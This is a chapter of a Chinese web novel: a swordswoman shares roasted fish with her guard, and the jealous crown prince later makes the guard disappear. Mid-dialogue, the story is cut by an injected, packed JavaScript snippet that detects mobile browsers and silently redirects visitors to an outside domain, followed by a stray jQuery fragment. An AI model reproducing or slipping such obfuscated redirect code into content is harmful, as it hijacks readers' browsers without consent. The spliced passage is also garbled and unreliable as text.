“漆白桐!你快来!”
身后辜山月焦急声音响起。
漆白桐立马抛开所有想法,迅速折回去。
“要糊了!”
辜山月手足无措地拿着两条鱼,漆白桐立马接过她手里的鱼,侧身将她推出火焰缭绕的区域。
“没事,你先坐着歇息,马上就能吃了。”
漆白桐抽开两支燃得最旺的柴火,放到一旁沙石上,旺盛火焰瞬间萎靡,他再将烤鱼放回去,转过几圈之后,送到辜山月面前。
“尝尝看。”
烤鱼散发出诱人的油脂香气,金黄肚皮翻开,辜山月迫不及待一口咬上鱼肚子,鱼皮酥脆焦香,鱼肉鲜嫩,裹挟着滚烫的烟火气息,比饭桌上的鱼要香上百倍。
“呼呼。”
辜山月张着嘴巴呼气,又咬下一口。
“好吃!”
这简直是她吃过的最好吃的烤鱼了!
她还要再来一口,腾着热气的烤鱼却被移开,一个冰凉散发着香气的梨在辜山月面前一晃,轻轻碰了下她的唇。
“吃口梨,别烫坏了。”
都送到嘴边了,辜山月啊呜一口,梨子香甜,汁水充沛,立马缓和口腔的灼热麻感。
辜山月又咬一口:“哪来的梨?”
漆白桐一手拿烤鱼,一手举着梨,目光温和:“拾柴火时摘的,味道怎么样?”
“甜!”
辜山月干脆评价,又去咬烤鱼焦香的肚子,香得只顾着吃,都忘记自己伸手拿烤鱼。
漆白桐也不提醒,只细致地拿着烤鱼,她咬过一口就转一下,等她吃掉最鲜嫩的部分就拿开鱼。
辜山月急得拉他的袖子:“还没吃完呢。”
“下一条也烤好了,鱼腹最香,刺也少,你吃下一条。”
漆白桐解释着,把鱼放到一旁垫好的树叶上,另一只手还举着梨,辜山月这才发觉他的手都要不够用了。
“我自己来。”
辜山月拿过梨,咔咔啃着。
漆白桐侧目望了眼她自给自足的模样,心头掠过一抹淡淡的遗憾。
但很快,他拿起下一条鱼接着喂辜山月,动作无比自然。
烤了六条鱼,辜山月吃了六条鱼的鱼肚子,树叶上剩下六条残鱼。
辜山月又啃掉一个梨,摸摸肚子,饱得很满足。
她从前总是有什么吃什么,吃什么也差不多,但今天吃的鱼不一样,好吃极了。
漆白桐面上一直带着浅浅的笑,看辜山月摸肚子,他问:“吃饱了?”
“饱了,你摸。”
辜山月下巴一抬,目光纯粹简单。
漆白桐眼瞳一颤,手掌抬起,又放下:“我的手太脏了,都是黑灰。”
辜山月懒懒“哦”了声,接着啃梨。
漆白桐拿起被吃空鱼腹的烤鱼,面不改色张口咬下,辜山月眼珠转动,注意到他的动作。
“不是还有好多条吗?”她疑惑道。
岸边现在还有好几条鱼在啪啪甩尾巴呢。
她捉了十几条鱼,所以才哼哧哼哧直接啃了六条,哪里想得到漆白桐居然捡她吃过的鱼吃。
“柴火没了。”
“我也饿了。”
“吃掉这六条鱼,省得浪费。”
漆白桐连着解释了三句,说完才看辜山月的面色。
辜山月什么反应都没有,只是哦了一声:“随你。”
有时候,她也挺好糊弄的。
于是,漆白桐怀着一种难以言喻的情绪,一条条吃掉六条残鱼。
鱼肚子是空的,旁边还有几道横七竖八的小牙印。
漆白桐薄唇张开,一口口印下去,吞下去。
辜山月脚丫子乱晃,随口问:“好吃吗?”
最精华的地方都叫她啃了,只剩下鱼背和鱼尾巴,能好吃吗?
漆白桐却对她露出个笑,漆黑眼瞳带着亮光:“很好吃。”
辜山月耸耸肩:“那你多吃点。”
“会吃完的,一点都不会剩。”漆白桐嗓音沉缓,带着点莫名意味。
辜山月心思飞得快,吃热了又跑去溪水边玩水,撅着屁股在水里翻石头,忙着和挥舞着钳子的小螃蟹对战。
今天很开心呢。
身后的漆白桐吃着冷掉的鱼肉,望着她的背影,也觉得今天很开心呢。
直到黄昏时分,辜山月才玩尽兴,两人回到太子府时,已是半夜。
辜山月这一天除了吃就是玩,心情放松,面上带笑走进院子。
院子里亮着灯,辜山月咦了一声,风吹动大开的门,发出细微吱呀声。
李玉衡坐在堂屋正中,手里拿着一本书册,烛光照亮他半边眉眼。
他侧目看来,嗓音不辨喜怒:“姐姐终于回来了?”
“回来了。”辜山月脚步轻快,坐到他对面。
漆白桐手里抱着一捧花,是一路上辜山月随手摘下塞给他的,他每一支都好生收着,小心翼翼攒下五彩缤纷的一束。
香气浅浅浮动,李玉衡眼神移到花朵上:“这花哪来的?”
“我摘的。”辜山月说着,给自己倒了杯水,一口喝下。
漆白桐行过礼,默默找出一个细口瓷瓶,盛了水,将花朵一支支仔细插进去。
李玉衡盯着漆白桐的动作,看了会,目光又转向辜山月,上下扫视。
鞋子沾了灰,头发也乱了,衣衫刮破了些,脸上却带着舒适坦然的神情。
她在外面玩得很开心,和别人。
而他在这个四方小院里,等了她两夜。
半晌,李玉衡伸手拂开她肩上粘连的一片枯叶,温声道:“出去玩怎么也不和我说一声。”
“你忙得很,管我做什么,”辜山月不甚在意地拍了拍衣裳,眼角余光瞥见漆白桐把花瓶放在桌上,她立马道:“花拿走,香得呛人。”
漆白桐垂首应声:“是。”
回到这里,他好像又变回那个沉默寡言循规蹈矩的暗卫。
漆白桐敛眉端着花瓶出去,李玉衡目光锁在他背影上,开口道:“姐姐,这人是暗卫,最多只配跟在你后面,你怎么总和他搭话?”
“我想和谁说话,就和谁说话,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362270|183740||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你总管我做什么?”辜山月啧声,横眼过去,“这么晚了,你怎么不回去睡觉?”
被斥了一句,李玉衡态度软和了些:“姐姐突然不见了,我心慌得很。”
“我既然答应了你,在你大婚之前,就不会离开,”辜山月说完,起身瞥他一眼,语气算不上好:“回去吧,我要睡了。”
李玉衡敏锐发觉到她态度的细微变化,他眼底微暗,也跟着起身,扬唇微笑。
“好,我不扰你了。”
辜山月没等他说完一句话,直接回了房间,门“啪”一声关上。
辜山月总是这样。
他喜欢她的自在率性无拘无束,可这也同样代表,她是一把握不住的剑。
李玉衡在原地站了会,烛光被晚风吹动,影子投在地上变幻拉长。
良久,他转身离去。
辜山月回房倒头就睡,睡到一半起夜,迷迷糊糊出门上茅房,回来时发现漆白桐屋里的灯还点着。
再熬一会天都要亮了,这人在干嘛?
辜山月隔着房间喊了声:“漆白桐?”
无人回应。
她走过去敲门,门一碰就开了,烛光昏黄燃得剩下短短一截,屋中空无一人。
而他回来时小心插好的一瓶花,瓷瓶碎裂,五彩缤纷的花儿和水流倾斜一地,上面印着一只脚印。
花被踩扁了。
辜山月困倦顿去,转身风一样掠起,朝着李玉衡的院子飞去。
有人拦她,辜山月一人一脚,直接将人踹飞。
“漆白桐呢?”
倒地侍卫对视一眼,神色慌乱不肯言语。
辜山月烦躁,跃进院中,一脚踢开正屋大门:“李玉衡,漆白桐呢!”
端看天下第一剑的名头,端看她清丽如芙蓉的面貌姿态,时常让人误以为她是个飘然若仙的出尘仙子。
可实际上,她是个无法无天无畏无惧无拘无束的莽直剑客。
从少时起,她便提剑杀过人。
辜山月从来都是想做什么就做什么。
屋子里一阵声响,李玉衡披着衣裳走出来,头发散乱,像是刚被人从床上吵起来。
“这是怎么了?谁惹姐姐不高兴了?”
“人呢?”辜山月皱眉。
“漆大人回内卫司述职去了,虽说他调用于太子府,总归还是内卫司的人,也不能时时刻刻留在这里呀。”
李玉衡掩着衣裳走出来,眼神扫过被辜山月踹到变形的破烂门板,笑着说:“瞧你急的,门都踹烂了。”
辜山月一言不发看着他。
这也是她不喜欢盛京的地方。
再简单的事情,到这里都能变得复杂。
辜山月和李玉衡相伴十年,即便他是再狡猾的狐狸,辜山月也摸出他三分性子。
他在唬她。
“不过是个暗卫而已,姐姐为了他冲我生气吗?”
李玉衡同辜山月对视,捂着心口咳了两声,面色苍白,衬得嘴唇鲜红如咳血一般。
辜山月默然,凶气敛了三分:“……都说了叫你早点睡觉。”